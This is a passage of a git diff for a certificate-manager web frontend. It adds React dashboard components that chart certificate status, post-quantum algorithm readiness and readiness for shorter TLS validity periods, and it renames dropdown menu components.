+    subtitle: "All certificates",
+    icon: FileKey,
+    iconClass: "text-org",
+    iconBg: "bg-org/10 border-org/20",
+    filters: {} as Record<string, string>
+  },
+  {
+    key: "active" as const,
+    label: "Active",
+    subtitle: "Currently valid",
+    icon: FileCheck,
+    iconClass: "text-success",
+    iconBg: "bg-success/10 border-success/20",
+    filters: { filterStatus: "active" }
+  },
+  {
+    key: "expiringSoon" as const,
+    label: "Expiring Soon",
+    subtitle: "In the next 30 days",
+    icon: FileClock,
+    iconClass: "text-warning",
+    iconBg: "bg-warning/10 border-warning/20",
+    filters: { filterStatus: "active", filterExpiresDays: "30" }
+  },
+  {
+    key: "expired" as const,
+    label: "Expired",
+    subtitle: "Past validity",
+    icon: FileX,
+    iconClass: "text-danger",
+    iconBg: "bg-danger/10 border-danger/20",
+    filters: { filterStatus: "expired" }
+  },
+  {
+    key: "revoked" as const,
+    label: "Revoked",
+    subtitle: "Manually revoked",
+    icon: AlertTriangle,
+    iconClass: "text-neutral",
+    iconBg: "bg-neutral/10 border-neutral/20",
+    filters: { filterStatus: "revoked" }
+  }
+];
+
+const getBadge = (key: string, stats: TDashboardStats) => {
+  const { total, active } = stats.totals;
+
+  if (key === "total" && total > 0) {
+    const pct = Math.round((active / total) * 100);
+    return {
+      variant: "org" as const,
+      label: `${pct}% active`
+    };
+  }
+  if (key === "active" && total > 0) {
+    return {
+      variant: "success" as const,
+      label: "valid & trusted"
+    };
+  }
+  if (key === "expiringSoon" && stats.expiringSoonNoAutoRenewal > 0) {
+    return {
+      variant: "warning" as const,
+      label: `${stats.expiringSoonNoAutoRenewal} without auto-renewal`
+    };
+  }
+  if (key === "expired" && stats.expiredNotRenewed > 0) {
+    return {
+      variant: "danger" as const,
+      label: `${stats.expiredNotRenewed} not renewed`
+    };
+  }
+  if (key === "revoked" && stats.totals.revoked > 0) {
+    return {
+      variant: "neutral" as const,
+      label: "action required"
+    };
+  }
+  return null;
+};
+
+export const KpiCards = ({ stats, onNavigate }: Props) => {
+  return (
+    <div className="flex flex-wrap gap-4">
+      {cards.map((card) => {
+        const Icon = card.icon;
+        const count = stats.totals[card.key];
+        const badge = getBadge(card.key, stats);
+        return (
+          <Card
+            key={card.key}
+            className="h-auto min-w-[180px] flex-1 cursor-pointer gap-0 p-0 transition-colors hover:bg-container-hover"
+            onClick={() => onNavigate(card.filters)}
+          >
+            <CardContent className="flex h-full flex-col p-4">
+              <div className="flex items-start justify-between">
+                <span className="text-base font-semibold text-foreground">{card.label}</span>
+                <div
+                  className={`flex h-9 w-9 shrink-0 items-center justify-center rounded-lg border ${card.iconBg}`}
+                >
+                  <Icon className={`h-[18px] w-[18px] ${card.iconClass}`} />
+                </div>
+              </div>
+              <div className="mt-auto pt-6">
+                <div className="flex items-baseline gap-2">
+                  <span className="text-3xl font-semibold text-foreground">{count}</span>
+                  <span className="text-xs text-muted">{card.subtitle}</span>
+                </div>
+                <div className="mt-3 min-h-[22px]">
+                  {badge && <Badge variant={badge.variant}>{badge.label}</Badge>}
+                </div>
+              </div>
+            </CardContent>
+          </Card>
+        );
+      })}
+    </div>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/PqcReadinessChart.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/PqcReadinessChart.tsx
new file mode 100644
index 00000000000..9b0f4dc4eb8
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/PqcReadinessChart.tsx
@@ -0,0 +1,147 @@
+import { Cell, Pie, PieChart, ResponsiveContainer, Tooltip as RechartsTooltip } from "recharts";
+
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle
+} from "@app/components/v3";
+import type { TDashboardStats } from "@app/hooks/api/certificates";
+import { isPqcAlgorithm } from "@app/hooks/api/certificates/constants";
+
+import { CHART_COLORS, CHART_COLORS_HEX } from "./chart-theme";
+
+type Props = {
+  stats: TDashboardStats;
+  onNavigate: (filters: Record<string, string | undefined>) => void;
+};
+
+const PQC_LABEL = "PQC-ready";
+const CLASSICAL_LABEL = "Classical";
+
+export const PqcReadinessChart = ({ stats, onNavigate }: Props) => {
+  const pqcCount = stats.distributions.byAlgorithm
+    .filter((d) => isPqcAlgorithm(d.label))
+    .reduce((s, d) => s + d.count, 0);
+  const nonPqcCount = stats.distributions.byAlgorithm
+    .filter((d) => !isPqcAlgorithm(d.label))
+    .reduce((s, d) => s + d.count, 0);
+
+  const data = [
+    { label: PQC_LABEL, count: pqcCount },
+    { label: CLASSICAL_LABEL, count: nonPqcCount }
+  ];
+  const nonZeroData = data.filter((d) => d.count > 0);
+  const total = pqcCount + nonPqcCount;
+
+  const handleSegmentClick = (label: string) => {
+    onNavigate({ viewId: label === PQC_LABEL ? "system-pqc" : "system-non-pqc" });
+  };
+
+  return (
+    <Card className="flex h-auto w-full min-w-[280px] shrink-0 flex-col md:w-[320px]">
+      <CardHeader className="pb-0">
+        <CardTitle className="text-base font-semibold">PQC Readiness</CardTitle>
+        <CardDescription className="text-xs">
+          Post-quantum vs. classical key algorithms
+        </CardDescription>
+      </CardHeader>
+      <CardContent className="flex flex-1 items-center pt-2">
+        {nonZeroData.length === 0 ? (
+          <Empty className="h-[200px]">
+            <EmptyHeader>
+              <EmptyTitle>No data available</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <div className="flex w-full items-center gap-3">
+            <div className="w-[120px] shrink-0">
+              <ResponsiveContainer width="100%" height={120}>
+                <PieChart>
+                  <defs>
+                    {nonZeroData.map((entry, idx) => {
+                      const hex = CHART_COLORS_HEX[idx % CHART_COLORS_HEX.length];
+                      return (
+                        <linearGradient
+                          key={`grad-${entry.label}`}
+                          id={`grad-pqc-readiness-${idx}`}
+                          x1="0"
+                          y1="0"
+                          x2="1"
+                          y2="1"
+                        >
+                          <stop offset="0%" stopColor={hex} stopOpacity={1} />
+                          <stop offset="100%" stopColor={hex} stopOpacity={0.6} />
+                        </linearGradient>
+                      );
+                    })}
+                  </defs>
+                  <Pie
+                    data={nonZeroData}
+                    dataKey="count"
+                    nameKey="label"
+                    cx="50%"
+                    cy="50%"
+                    innerRadius={32}
+                    outerRadius={52}
+                    paddingAngle={2}
+                    cursor="pointer"
+                    stroke="none"
+                    onClick={(_entry, idx) => handleSegmentClick(nonZeroData[idx].label)}
+                  >
+                    {nonZeroData.map((entry, idx) => (
+                      <Cell key={entry.label} fill={`url(#grad-pqc-readiness-${idx})`} />
+                    ))}
+                  </Pie>
+                  <RechartsTooltip
+                    contentStyle={{
+                      backgroundColor: "var(--color-popover)",
+                      border: "1px solid var(--color-border)",
+                      borderRadius: "6px",
+                      color: "var(--color-foreground)"
+                    }}
+                  />
+                </PieChart>
+              </ResponsiveContainer>
+            </div>
+            <div className="min-w-0 flex-1">
+              <div className="space-y-1.5">
+                {nonZeroData.map((entry, idx) => {
+                  const pct = total > 0 ? Math.round((entry.count / total) * 100) : 0;
+                  return (
+                    <button
+                      key={entry.label}
+                      type="button"
+                      className="flex w-full cursor-pointer items-center gap-2 rounded px-1 py-0.5 text-xs transition-colors hover:bg-foreground/5"
+                      onClick={() => handleSegmentClick(entry.label)}
+                    >
+                      <span
+                        className="h-2.5 w-2.5 shrink-0 rounded-full"
+                        style={{ backgroundColor: CHART_COLORS[idx % CHART_COLORS.length] }}
+                      />
+                      <span className="min-w-0 flex-1 truncate text-left text-foreground">
+                        {entry.label}
+                      </span>
+                      <span className="shrink-0 text-right text-muted">{pct}%</span>
+                      <span className="shrink-0 text-right font-medium text-foreground">
+                        {entry.count}
+                      </span>
+                    </button>
+                  );
+                })}
+              </div>
+              <div className="mt-2 flex items-center border-t border-border px-1 pt-2 text-xs">
+                <span className="flex-1 font-medium text-foreground">Total</span>
+                <span className="shrink-0 text-right font-semibold text-foreground">{total}</span>
+              </div>
+            </div>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/PqcTrend.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/PqcTrend.tsx
new file mode 100644
index 00000000000..110f49d4df4
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/PqcTrend.tsx
@@ -0,0 +1,129 @@
+import {
+  CartesianGrid,
+  Legend,
+  Line,
+  LineChart,
+  ResponsiveContainer,
+  Tooltip,
+  XAxis,
+  YAxis
+} from "recharts";
+
+import {
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle
+} from "@app/components/v3";
+import type { TPqcTrendPoint } from "@app/hooks/api/certificates";
+
+import { formatTickLabel, nonZeroDot, TREND_COLORS } from "./chart-theme";
+
+type Props = {
+  data: TPqcTrendPoint[];
+  onRangeChange: (range: string) => void;
+  currentRange: string;
+};
+
+const SERIES_KEYS = ["pqc", "nonPqc"];
+
+const ranges = [
+  { label: "7D", value: "7d" },
+  { label: "30D", value: "30d" },
+  { label: "6M", value: "6m" }
+];
+
+const legendLabels: Record<string, string> = {
+  pqc: "PQC-ready",
+  nonPqc: "Classical"
+};
+
+const renderLegend = (value: string) => (
+  <span className="text-xs text-muted">{legendLabels[value] ?? value}</span>
+);
+
+export const PqcTrend = ({ data, onRangeChange, currentRange }: Props) => {
+  const hasAnyData = data.some((d) => d.pqc > 0 || d.nonPqc > 0);
+  return (
+    <Card className="h-auto w-full flex-1 md:w-auto">
+      <CardHeader>
+        <CardTitle>PQC Adoption Trend</CardTitle>
+        <CardAction>
+          <div className="flex gap-0.5">
+            {ranges.map((r) => (
+              <Button
+                key={r.value}
+                size="xs"
+                variant={currentRange === r.value ? "neutral" : "ghost"}
+                onClick={() => onRangeChange(r.value)}
+              >
+                {r.label}
+              </Button>
+            ))}
+          </div>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        {!hasAnyData ? (
+          <Empty className="h-[250px]">
+            <EmptyHeader>
+              <EmptyTitle>No certificates issued in this period</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <ResponsiveContainer width="100%" height={250}>
+            <LineChart data={data} margin={{ top: 5, right: 20, bottom: 5, left: 0 }}>
+              <CartesianGrid strokeDasharray="3 3" stroke="var(--color-border)" />
+              <XAxis
+                dataKey="period"
+                tickFormatter={formatTickLabel}
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+              />
+              <YAxis
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+                allowDecimals={false}
+              />
+              <Tooltip
+                contentStyle={{
+                  backgroundColor: "var(--color-popover)",
+                  border: "1px solid var(--color-border)",
+                  borderRadius: "6px",
+                  color: "var(--color-foreground)"
+                }}
+                formatter={(value, name) => [
+                  value as number,
+                  legendLabels[name as string] ?? (name as string)
+                ]}
+              />
+              <Legend formatter={renderLegend} />
+              <Line
+                type="monotone"
+                dataKey="pqc"
+                stroke={TREND_COLORS.pqc}
+                strokeWidth={2}
+                dot={nonZeroDot("pqc", TREND_COLORS.pqc, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+              />
+              <Line
+                type="monotone"
+                dataKey="nonPqc"
+                stroke={TREND_COLORS.nonPqc}
+                strokeWidth={2}
+                dot={nonZeroDot("nonPqc", TREND_COLORS.nonPqc, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+                strokeDasharray="4 2"
+              />
+            </LineChart>
+          </ResponsiveContainer>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/ValidityReadinessSection.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/ValidityReadinessSection.tsx
new file mode 100644
index 00000000000..c6f4bb6aec3
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/ValidityReadinessSection.tsx
@@ -0,0 +1,350 @@
+import { useMemo } from "react";
+import {
+  Bar,
+  BarChart,
+  CartesianGrid,
+  Cell,
+  Pie,
+  PieChart,
+  ResponsiveContainer,
+  Tooltip as RechartsTooltip,
+  XAxis,
+  YAxis
+} from "recharts";
+
+import {
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import type { TDashboardStats } from "@app/hooks/api/certificates";
+
+import { CHART_COLORS, CHART_COLORS_HEX } from "./chart-theme";
+
+type Props = {
+  stats: TDashboardStats;
+};
+
+const ALL_PHASES = [
+  {
+    date: new Date("2026-03-15"),
+    maxDays: 200,
+    description: "Max validity reduced to 200 days"
+  },
+  {
+    date: new Date("2027-03-15"),
+    maxDays: 100,
+    description: "Max validity reduced to 100 days"
+  },
+  {
+    date: new Date("2029-03-15"),
+    maxDays: 47,
+    description: "Max validity reduced to 47 days"
+  }
+];
+
+const VALIDITY_BUCKET_CONFIG: Record<string, { label: string; compliance: string; color: string }> =
+  {
+    ">=200d": {
+      label: "> 200 days",
+      compliance: "Non-compliant (exceeds current limit)",
+      color: CHART_COLORS_HEX[7]
+    },
+    "100-199d": {
+      label: "100\u2013199 days",
+      compliance: "Compliant until Mar 2027",
+      color: CHART_COLORS_HEX[1]
+    },
+    "48-99d": {
+      label: "48\u201399 days",
+      compliance: "Compliant until Mar 2029",
+      color: CHART_COLORS_HEX[0]
+    },
+    "<=47d": {
+      label: "\u2264 47 days",
+      compliance: "Fully compliant",
+      color: CHART_COLORS_HEX[5]
+    }
+  };
+
+const BUCKET_ORDER = [">=200d", "100-199d", "48-99d", "<=47d"];
+
+const MandateCountdown = () => {
+  const now = Date.now();
+  const futurePhases = ALL_PHASES.filter(
+    (p) => Math.ceil((p.date.getTime() - now) / (1000 * 60 * 60 * 24)) > 0
+  );
+
+  return (
+    <Card className="flex h-full flex-col">
+      <CardHeader className="pb-2">
+        <CardTitle className="text-base font-semibold">CA/B Forum Mandate Deadlines</CardTitle>
+        <p className="mt-0.5 text-xs text-muted">
+          Upcoming reductions in maximum TLS certificate validity
+        </p>
+      </CardHeader>
+      <CardContent className="flex flex-1 flex-col justify-center pt-2">
+        <div className="space-y-2">
+          {futurePhases.map((phase) => {
+            const daysUntil = Math.ceil((phase.date.getTime() - now) / (1000 * 60 * 60 * 24));
+            const isUrgent = daysUntil <= 90;
+
+            const [, colorWarning, , , , colorSuccess] = CHART_COLORS;
+            const barColor = isUrgent ? colorWarning : colorSuccess;
+
+            return (
+              <div
+                key={phase.maxDays}
+                className="flex items-center gap-3 rounded-md border border-border bg-foreground/[0.02] px-3 py-2"
+              >
+                <div
+                  className="h-8 w-1 shrink-0 rounded-full"
+                  style={{ backgroundColor: barColor }}
+                />
+                <div className="min-w-0 flex-1">
+                  <div className="flex items-baseline gap-2">
+                    <span className="text-2xl font-bold text-foreground">{daysUntil}</span>
+                    <span className="text-sm text-accent">days</span>
+                  </div>
+                  <p className="mt-0.5 text-xs text-muted">{phase.description}</p>
+                </div>
+                <p className="shrink-0 text-right text-xs text-foreground/70">
+                  {phase.date.toLocaleDateString("en-US", {
+                    month: "short",
+                    day: "numeric",
+                    year: "numeric"
+                  })}
+                </p>
+              </div>
+            );
+          })}
+        </div>
+      </CardContent>
+    </Card>
+  );
+};
+
+const ProjectedRenewals = ({ activeCerts }: { activeCerts: number }) => {
+  const data = useMemo(() => {
+    if (activeCerts === 0) return [];
+    return [
+      { label: "Current", renewals: activeCerts, color: CHART_COLORS_HEX[0] },
+      {
+        label: "200-day",
+        renewals: Math.ceil((365 / 200) * activeCerts),
+        color: CHART_COLORS_HEX[1]
+      },
+      {
+        label: "100-day",
+        renewals: Math.ceil((365 / 100) * activeCerts),
+        color: CHART_COLORS_HEX[6]
+      },
+      {
+        label: "47-day",
+        renewals: Math.ceil((365 / 47) * activeCerts),
+        color: CHART_COLORS_HEX[7]
+      }
+    ];
+  }, [activeCerts]);
+
+  if (activeCerts === 0) return null;
+
+  return (
+    <Card className="flex h-full flex-col">
+      <CardHeader className="pb-0">
+        <CardTitle className="text-base font-semibold">Projected Annual Renewals</CardTitle>
+        <p className="mt-0.5 text-xs text-muted">
+          Estimated yearly renewal volume under each validity regime
+        </p>
+      </CardHeader>
+      <CardContent className="flex flex-1 flex-col justify-end pt-4">
+        <ResponsiveContainer width="100%" height={170}>
+          <BarChart data={data} margin={{ top: 10, right: 10, left: 0, bottom: 0 }}>
+            <CartesianGrid strokeDasharray="3 3" stroke="var(--color-border)" vertical={false} />
+            <XAxis
+              dataKey="label"
+              tick={{ fontSize: 11, fill: "var(--color-muted)" }}
+              axisLine={false}
+              tickLine={false}
+            />
+            <YAxis
+              tick={{ fontSize: 11, fill: "var(--color-muted)" }}
+              axisLine={false}
+              tickLine={false}
+              width={40}
+            />
+            <RechartsTooltip
+              contentStyle={{
+                backgroundColor: "var(--color-popover)",
+                border: "1px solid var(--color-border)",
+                borderRadius: "6px",
+                color: "var(--color-foreground)"
+              }}
+              itemStyle={{ color: "var(--color-foreground)" }}
+              labelStyle={{ color: "var(--color-foreground)" }}
+              formatter={(value) => [Number(value).toLocaleString(), "Renewals/year"]}
+              cursor={{ fill: "none" }}
+            />
+            <defs>
+              {data.map((entry) => (
+                <linearGradient
+                  key={`grad-bar-${entry.label}`}
+                  id={`grad-bar-${entry.label}`}
+                  x1="0"
+                  y1="0"
+                  x2="0"
+                  y2="1"
+                >
+                  <stop offset="0%" stopColor={entry.color} stopOpacity={1} />
+                  <stop offset="100%" stopColor={entry.color} stopOpacity={0.5} />
+                </linearGradient>
+              ))}
+            </defs>
+            <Bar dataKey="renewals" radius={[4, 4, 0, 0]} maxBarSize={48}>
+              {data.map((entry) => (
+                <Cell key={`bar-${entry.label}`} fill={`url(#grad-bar-${entry.label})`} />
+              ))}
+            </Bar>
+          </BarChart>
+        </ResponsiveContainer>
+        <p className="mt-2 text-center text-xs text-muted">
+          Based on {activeCerts.toLocaleString()} active certificate{activeCerts !== 1 ? "s" : ""}
+        </p>
+      </CardContent>
+    </Card>
+  );
+};
+
+const ValidityDistribution = ({ buckets }: { buckets: TDashboardStats["validityBuckets"] }) => {
+  const chartData = useMemo(() => {
+    if (!buckets) return [];
+    const bucketMap = new Map(buckets.map((b) => [b.bucket, b.count]));
+    return BUCKET_ORDER.map((key, idx) => ({
+      bucket: key,
+      count: bucketMap.get(key) || 0,
+      segIdx: idx,
+      ...VALIDITY_BUCKET_CONFIG[key]
+    })).filter((d) => d.count > 0);
+  }, [buckets]);
+
+  const total = chartData.reduce((sum, d) => sum + d.count, 0);
+
+  if (total === 0) return null;
+
+  return (
+    <Card className="flex h-full flex-col">
+      <CardHeader className="pb-0">
+        <CardTitle className="text-base font-semibold">Certificates by Validity Period</CardTitle>
+        <p className="mt-0.5 text-xs text-muted">
+          Active certificates grouped by issuance-to-expiry duration
+        </p>
+      </CardHeader>
+      <CardContent className="flex flex-1 items-center pt-2">
+        <div className="flex w-full items-center gap-3">
+          <div className="w-[120px] shrink-0">
+            <ResponsiveContainer width="100%" height={120}>
+              <PieChart>
+                <defs>
+                  {chartData.map((item) => (
+                    <linearGradient
+                      key={`grad-val-${item.segIdx}`}
+                      id={`grad-val-${item.segIdx}`}
+                      x1="0"
+                      y1="0"
+                      x2="1"
+                      y2="1"
+                    >
+                      <stop offset="0%" stopColor={item.color} stopOpacity={1} />
+                      <stop offset="100%" stopColor={item.color} stopOpacity={0.6} />
+                    </linearGradient>
+                  ))}
+                </defs>
+                <Pie
+                  data={chartData}
+                  dataKey="count"
+                  nameKey="label"
+                  cx="50%"
+                  cy="50%"
+                  innerRadius={32}
+                  outerRadius={52}
+                  paddingAngle={2}
+                  stroke="none"
+                >
+                  {chartData.map((item) => (
+                    <Cell key={item.bucket} fill={`url(#grad-val-${item.segIdx})`} />
+                  ))}
+                </Pie>
+                <RechartsTooltip
+                  contentStyle={{
+                    backgroundColor: "var(--color-popover)",
+                    border: "1px solid var(--color-border)",
+                    borderRadius: "6px",
+                    color: "var(--color-foreground)"
+                  }}
+                />
+              </PieChart>
+            </ResponsiveContainer>
+          </div>
+          <div className="min-w-0 flex-1">
+            <div className="space-y-1.5">
+              {chartData.map((item) => {
+                const pct = total > 0 ? Math.round((item.count / total) * 100) : 0;
+                return (
+                  <div
+                    key={item.bucket}
+                    className="flex w-full items-center gap-2 rounded px-1 py-0.5 text-xs"
+                  >
+                    <span
+                      className="h-2.5 w-2.5 shrink-0 rounded-full"
+                      style={{ backgroundColor: item.color }}
+                    />
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <span className="min-w-0 flex-1 truncate text-left text-foreground">
+                          {item.label}
+                        </span>
+                      </TooltipTrigger>
+                      <TooltipContent side="top">{item.compliance}</TooltipContent>
+                    </Tooltip>
+                    <span className="shrink-0 text-right text-muted">{pct}%</span>
+                    <span className="shrink-0 text-right font-medium text-foreground">
+                      {item.count}
+                    </span>
+                  </div>
+                );
+              })}
+            </div>
+            <div className="mt-2 flex items-center border-t border-border px-1 pt-2 text-xs">
+              <span className="flex-1 font-medium text-foreground">Total</span>
+              <span className="shrink-0 text-right font-semibold text-foreground">{total}</span>
+            </div>
+          </div>
+        </div>
+      </CardContent>
+    </Card>
+  );
+};
+
+export const ValidityReadinessSection = ({ stats }: Props) => {
+  const tlsActiveCerts = useMemo(
+    () => (stats.validityBuckets || []).reduce((sum, b) => sum + b.count, 0),
+    [stats.validityBuckets]
+  );
+
+  if (tlsActiveCerts === 0) return null;
+
+  return (
+    <div className="flex flex-col gap-4">
+      <h2 className="text-lg font-semibold text-foreground">47-Day Validity Readiness</h2>
+      <div className="grid auto-rows-[1fr] grid-cols-1 gap-4 xl:grid-cols-3">
+        <MandateCountdown />
+        <ProjectedRenewals activeCerts={tlsActiveCerts} />
+        <ValidityDistribution buckets={stats.validityBuckets} />
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/chart-theme.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/chart-theme.tsx
new file mode 100644
index 00000000000..68ad561a01c
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/chart-theme.tsx
@@ -0,0 +1,76 @@
+export const CHART_COLORS = [
+  "var(--color-info)",
+  "var(--color-warning)",
+  "var(--color-neutral)",
+  "var(--color-accent)",
+  "var(--color-muted)",
+  "var(--color-success)",
+  "var(--color-org)",
+  "var(--color-danger)"
+];
+
+export const CHART_COLORS_HEX = [
+  "#63b0bd", // teal (info)
+  "#f1c40f", // gold (warning)
+  "#6dbf8b", // sage green
+  "#c084d8", // soft purple
+  "#e8855e", // burnt orange
+  "#5b9bd5", // steel blue
+  "#e06b8f", // dusty rose
+  "#85c46c", // leaf green
+  "#d4a054", // amber
+  "#7b8ec4", // periwinkle
+  "#cb6b6b", // muted red
+  "#4fc1b0", // seafoam
+  "#b8a060" // olive gold
+];
+
+export const TREND_COLORS = {
+  issued: "var(--color-org)",
+  expired: "var(--color-danger)",
+  revoked: "var(--color-neutral)",
+  renewed: "var(--color-success)",
+  pqc: "var(--color-info)",
+  nonPqc: "var(--color-warning)"
+};
+
+export const formatTickLabel = (value: string) => {
+  if (value.length === 10) {
+    const [, m, d] = value.split("-");
+    const date = new Date(Number(value.slice(0, 4)), Number(m) - 1, Number(d));
+    return date.toLocaleDateString("en-US", { month: "short", day: "numeric" });
+  }
+  const [year, month] = value.split("-");
+  const date = new Date(Number(year), Number(month) - 1);
+  return date.toLocaleDateString("en-US", { month: "short", year: "2-digit" });
+};
+
+export const legendFormatter = (value: string) => (
+  <span className="text-xs text-muted capitalize">{value}</span>
+);
+
+export const nonZeroDot = (dataKey: string, color: string, seriesKeys?: string[]) => {
+  return ({ cx, cy, payload }: { cx?: number; cy?: number; payload?: Record<string, number> }) => {
+    if (cx == null || cy == null) return null;
+    const val = payload?.[dataKey];
+    if (!val || val === 0) return null;
+
+    let offsetX = 0;
+    if (seriesKeys) {
+      const sameValKeys = seriesKeys.filter((k) => payload?.[k] === val);
+      const myIdx = sameValKeys.indexOf(dataKey);
+      offsetX = sameValKeys.length > 1 ? (myIdx - (sameValKeys.length - 1) / 2) * 6 : 0;
+    }
+
+    return (
+      <circle
+        cx={cx + offsetX}
+        cy={cy}
+        r={3}
+        fill={color}
+        stroke="var(--color-popover)"
+        strokeWidth={1.5}
+      />
+    );
+  };
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/index.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/index.tsx
new file mode 100644
index 00000000000..adb9fcc0bfd
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/index.tsx
@@ -0,0 +1,8 @@
+export { ActivityTrend } from "./ActivityTrend";
+export { CodeSigningSection } from "./CodeSigningSection";
+export { DistributionCharts } from "./DistributionCharts";
+export { ExpirationTimeline } from "./ExpirationTimeline";
+export { KpiCards } from "./KpiCards";
+export { PqcReadinessChart } from "./PqcReadinessChart";
+export { PqcTrend } from "./PqcTrend";
+export { ValidityReadinessSection } from "./ValidityReadinessSection";
diff --git a/frontend/src/pages/cert-manager/DashboardPage/route-index.tsx b/frontend/src/pages/cert-manager/DashboardPage/route-index.tsx
new file mode 100644
index 00000000000..a91fd8d56e7
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/route-index.tsx
@@ -0,0 +1,12 @@
+import { createFileRoute, redirect } from "@tanstack/react-router";
+
+export const Route = createFileRoute(
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/"
+)({
+  beforeLoad: ({ params }) => {
+    throw redirect({
+      to: "/organizations/$orgId/projects/cert-manager/$projectId/overview",
+      params
+    });
+  }
+});
diff --git a/frontend/src/pages/cert-manager/DashboardPage/route.tsx b/frontend/src/pages/cert-manager/DashboardPage/route.tsx
new file mode 100644
index 00000000000..39c11d3f792
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/route.tsx
@@ -0,0 +1,19 @@
+import { createFileRoute } from "@tanstack/react-router";
+
+import { DashboardPage } from "./DashboardPage";
+
+export const Route = createFileRoute(
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview"
+)({
+  component: DashboardPage,
+  beforeLoad: ({ context }) => {
+    return {
+      breadcrumbs: [
+        ...context.breadcrumbs,
+        {
+          label: "Dashboard"
+        }
+      ]
+    };
+  }
+});
diff --git a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/DiscoveryDetailsByIDPage.tsx b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/DiscoveryDetailsByIDPage.tsx
index a0510884d37..0c2bc191309 100644
--- a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/DiscoveryDetailsByIDPage.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/DiscoveryDetailsByIDPage.tsx
@@ -7,11 +7,11 @@ import { DeleteActionModal, PageHeader } from "@app/components/v2";
 import {
   Badge,
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstablePageLoader
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  PageLoader
 } from "@app/components/v3";
 import {
   ProjectPermissionPkiDiscoveryActions,
@@ -55,7 +55,7 @@ const Page = () => {
   ] as const);
 
   if (isLoading) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!discovery) {
@@ -111,25 +111,25 @@ const Page = () => {
           }
         >
           <div className="flex items-center gap-2">
-            <UnstableDropdownMenu>
-              <UnstableDropdownMenuTrigger asChild>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
                 <Button variant="outline">
                   Options
                   <EllipsisIcon />
                 </Button>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end">
                 <ProjectPermissionCan
                   I={ProjectPermissionPkiDiscoveryActions.Edit}
                   a={ProjectPermissionSub.PkiDiscovery}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       isDisabled={!isAllowed}
                       onClick={() => handlePopUpOpen("editJob", discovery)}
                     >
                       Edit
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
                 <ProjectPermissionCan
@@ -137,17 +137,17 @@ const Page = () => {
                   a={ProjectPermissionSub.PkiDiscovery}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       isDisabled={!isAllowed}
                       onClick={() => handlePopUpOpen("deleteJob")}
                     >
                       Delete
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </ProjectPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           </div>
         </PageHeader>
 
diff --git a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryDetailsSection.tsx b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryDetailsSection.tsx
index 7fb80d13e5e..c117595a4b2 100644
--- a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryDetailsSection.tsx
@@ -2,15 +2,15 @@ import { format } from "date-fns";
 
 import {
   Badge,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
